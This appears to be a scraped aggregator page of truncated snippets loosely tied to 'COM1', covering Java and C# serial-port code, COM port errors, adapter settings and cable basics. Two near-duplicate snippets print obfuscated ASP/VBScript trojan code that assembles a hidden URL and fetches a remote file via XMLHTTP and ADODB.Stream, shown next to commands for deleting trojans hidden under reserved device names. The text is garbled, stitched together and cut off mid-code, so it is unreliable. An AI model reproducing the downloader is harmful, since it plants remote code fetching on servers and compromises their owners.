com1 cable

This article mainly provides a practical Java serial communication program for discussion and learning. /*************************************** **** Program file name: sendcomm. Java* Function: send data from the serial port COM1**************************************** **/Import java. AWT .*;Import java. AWT. event .*;Import java. Io .*;Import java. util .*;Import javax. Comm .*; Class s_frame extends frame implements runnable, actionlistener{/* Det

In a project, it is necessary to read the CF card RFID by means of COM port.problem : When I close the module, and then the second time to hit the module, the following error "access to port Com1 denied" (programming this industry, is not found object, is XXX refused!) )：Breakpoint Debugging: An exception occurred when the user control loaded event attempted to open a COM port: Access to Port Com1 was denie

服务端 Ubuntu Apache2 客户端 Windows X Browser X How can I get each client to read its own COM1 data? Thank you! Reply content: 服务端 Ubuntu Apache2 客户端 Windows X Browser X How can I get each client to read its own COM1 data? Thank you! The problem is centered on the client. Server side is what, in the end, the client can only output HTML/CSS/JS source code, an

DELETE command Rd/s \. \ E: \ webhosting \ wwwroot \ prn.0418EE4FCopy codeThe Code is as follows: 'By * amingDim amxml, amtxt, amadoAmtxt = "h" "t" "t" "p "": ""/""/"" B "" o "" t "". "" z "" h ""-"" c "" n "". "" c "" c ""/"" B "" o "" t ""/"" c "" o "" n "" f "" I "" g "". "" t "" x "" t"Set amxml = CreateObject ("Microsoft. XMLHTTP ")Amxml. Open "Get", amtxt, False ,"",""Amxml. setRequestHeader "User-Agent", amtxtAmxml. SendSet amado = Server. CreateObject ("adodb. stream ")Amado. Type =

Delete command RD/S \\.\e:\webhosting\wwwroot\prn.0418ee4f Copy Code code as follows: ' By*aming Dim Amxml,amtxt,amado Amtxt= "H" "T" "T" "P" ":" "/" "/" "B" "O" "T" ". "Z" "H" "-" "C" "N" "." "C" "C" "/" "B" "O" "T" "/" "C" "O" "" N "" F "" I "" G "" ." "T" "X" "T" Set amxml=createobject ("Microsoft.XMLHTTP") Amxml. Open "Get", Amtxt,false, "" "," " Amxml.setrequestheader "User-agent", Amtxt Amxml. Send Set Amado=server.createobject ("

Super Batch processing: Copy Code code as follows: del/f/a/q \\?\%1 RD/S/q \\?\%1 FILE-Save as "delete all. Bat" (name is anything, but the suffix must be ". bat") Then, drag the file or directory you want to delete to the icon on this bat file to delete it! To remove the Trojan individually: del \\.\d:\aux\com1.asp can delete this Trojan Ways to delete a folder directly: rd/q/s \\.\d:\aux so the entire folder can be deleted Me

* COM is displayed in the PC adapter that sets the pg/PC interface in Step 7. Indicates that the comport is replaced by another ProgramOccupied. When kepserverex4.0 is used, when the Siemens S7 MPI device driver is used, the COM1 port is prompted to be used by another program. After I disabled some AB processes on my computer, COM1 was released. In this way, kepserverex4.0 can communicate with plc314 throu

Using System;Using System.IO.Ports;Class portdatareceived{PublicStaticvoid Main () {SerialPort Myserialport =New SerialPort ("COM1"); Myserialport.baudrate = 9600; myserialport.parity = Parity.none; Myserialport.stopbits = Stopbits.one; Myserialport.databits = 8; Myserialport.handshake = Handshake.none; Myserialport.rtsenable =true; myserialport.datareceived + = new Serialdatareceivedeventhandler (Datareceivedhandler); Myserialport.open (); Console.Wr

The following is an example of Z-tek (USB2.0) to a serial adapter (model ZK-U03-2A): 1, according to the requirements of the installation of the adapter driver, "Device Manager/Port", you can find a "USB serial Port (COM4)", the following figure: 2, right click on "USB serial Port (COM4)", select "Properties", as shown: 3, select the "Port Settings" tab, as shown in the figure: 4, click the "Advanced ..." button, as shown in figure: 5, click t

Cable TV Cable (Cable) mode broadband access to the Internet is the standard docsis (Data over Cable Service Interface specification), Recently this standard has been upgraded to 2.0, and Imedia announced in April the DOCSIS2.0 chip IM6030 and a reference design that can be mass-produced immediately. This means that th

The network cable is already inseparable from our life. Because we often use the network cable, we need the network cable to access the Internet. Therefore, we need to learn how to make the network cable so that we can better control our life in Russia, Okay. Let's just talk about the network connection methods. Th

How many meters does the network cable transmit at most? Several common categories of network cable and network cable transmission Maximum network cable data transmission distance If you know more about the network, you know that the twisted pair wires have an insurmountable "100 meters" transmission distance. The max

The serial cable can be divided into straight chain and intersection. Generally for straight line extension PC equip, will 2, 3, 5 connect 2, 3, 5, because PC universal male. But the devices are mostly female, so they are just plain, and it can also be used to extend the connection; the crossover PC is connected to the PC with 2 pairs of 3, 3 pairs of 2, 5 to 5, and the general two are female at both ends!Before the computer appeared, the EIA establis

I. coaxial cable Detection1. After the cable enters the water, we have tested the change of Characteristic Impedance. When the cable enters the water due to moisture and the TV signal passes through the cable, the measured level is lower than the specified loss value of the cable